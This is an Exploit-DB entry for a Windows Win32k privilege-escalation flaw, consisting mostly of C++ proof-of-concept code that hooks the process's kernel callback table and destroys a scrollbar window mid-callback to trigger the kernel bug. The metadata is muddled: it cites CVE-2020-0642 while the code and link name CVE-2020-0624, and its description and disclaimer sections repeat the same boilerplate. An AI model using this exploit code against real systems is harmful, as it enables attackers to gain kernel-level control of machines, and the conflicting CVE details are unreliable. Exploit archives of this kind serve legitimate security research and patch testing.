Exploit-DB #49179
Description: Microsoft Windows - Win32k Elevation of Privilege
Type: local
Platform: windows
Date: 2020-12-02
Author: nu11secur1ty

Exploit:
# Exploit Title: Microsoft Windows - Win32k Elevation of Privilege
# Author: nu11secur1ty
# Date: 08.03.2020
# Exploit Date: 01/14/2020
# Vendor: Microsoft
# Software Link: https://support.microsoft.com/en-us/help/3095649/win32k-sys-update-in-windows-october-2015
# Exploit link: https://github.com/nu11secur1ty/Windows10Exploits/raw/master/Undefined/CVE-2020-0624/win32k/__32-win32k.sys5.1.2600.1330.zip
# CVE: CVE-2020-0642

[+] Credits: Ventsislav Varbanovski (nu11secur1ty)
[+] Source:  readme from GitHUB

[Exploit Program Code]

// cve-2020-0624.cpp

#pragma warning(disable: 4005)
#pragma warning(disable: 4054)
#pragma warning(disable: 4152)
#pragma warning(disable: 4201)

#include <Windows.h>
#include "ntos.h"

typedef NTSTATUS(NTAPI* PFNUSER32CALLBACK)(PVOID);

HWND hParent{}, hChild{};
BOOL Flag1{}, Flag2{};

PFNUSER32CALLBACK OrgCCI2{}, OrgCCI3{};

NTSTATUS NTAPI NewCCI2(PVOID Param)
{
	if (Flag1)
	{
		Flag1 = FALSE;
		Flag2 = TRUE;
		DestroyWindow(hParent);
	}
	return OrgCCI2(Param);
}
NTSTATUS NTAPI NewCCI3(PVOID Param)
{
	if (Flag2)
	{
		ExitThread(0);
	}
	return OrgCCI3(Param);
}
int main()
{
	DWORD OldProtect{};

	PTEB teb = NtCurrentTeb();
	PPEB peb = teb->ProcessEnvironmentBlock;
	PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];
	if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
		return 0;
	OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2,
&NewCCI2);

	PVOID pCCI3 = &((PVOID*)peb->KernelCallbackTable)[3];
	if (!VirtualProtect(pCCI3, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
		return 0;
	OrgCCI3 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI3,
&NewCCI3);

	hParent = CreateWindow(L"ScrollBar", L"Parent", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, NULL, NULL, NULL);
	hChild = CreateWindow(L"ScrollBar", L"Child", WS_OVERLAPPEDWINDOW |
WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, 0, NULL,
NULL);
	Flag1 = TRUE;
	SendMessage(hChild, WM_LBUTTONDOWN, 0, 0);
	return 0;
}


[Vendor]
Microsoft


[Vulnerability Type]
Privilege Escalation


[Description]
The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.
- - - more: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0642

[Disclosure Timeline]
An elevation of privilege vulnerability exists in Windows when the
Win32k component fails to properly handle objects in memory. An
attacker who successfully exploited this vulnerability could run
arbitrary code in kernel mode. An attacker could then install
programs; view, change, or delete data; or create new accounts with
full user rights.
To exploit this vulnerability, an attacker would first have to log on
to the system. An attacker could then run a specially crafted
application that could exploit the vulnerability and take control of
an affected system.
The update addresses this vulnerability by correcting how Win32k
handles objects in memory.


[+] Disclaimer
The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.